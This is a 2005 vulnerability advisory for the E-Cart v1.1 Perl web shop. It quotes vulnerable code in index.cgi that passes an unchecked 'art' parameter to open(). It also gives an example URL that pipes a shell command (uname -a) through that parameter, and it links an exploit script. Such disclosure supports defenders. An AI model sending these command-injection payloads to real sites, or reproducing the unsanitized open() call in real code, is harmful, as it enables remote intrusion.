E-Cart v1.1 Remote Command Execution

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Title: E-Cart v1.1 Remote Command Execution
Vulnerability discovery: SoulBlack - Security Research -
http://soulblack.com.ar
Date: 20/04/2005
Severity: High. Remote Users Can Execute Arbitrary Code.
Affected version: <= E-Cart 2004 v1.1
Vendor: http://www.yazaport.com/kadfors/kwamd/mods/ecart/index.cgi
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*Summary
E-Cart is a mod of WepApp written in Perl. It is WebShop.
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*Problem Description:

The bug is in the file index.cgi where the variable art that is put
under "open()", does
not have a control of data, allowing to the attacker to execute any
type of commands.

Vulnerable code
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sub viewart {
   &cartfooter;
   open(DATA, "$catdir/$info{'cat'}/$info{'art'}"); hold(DATA);
chomp(@data = <DATA>); release(DATA); close(DATA);
       ...
       ...
       ...

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*Example:

http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|

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*Xpl:

http://www.soulblack.com.ar/repo/tools/ecart-xpl.php

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*Fix:

Contact the Vendor.
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--
SoulBlack - Security Research
http://www.soulblack.com.ar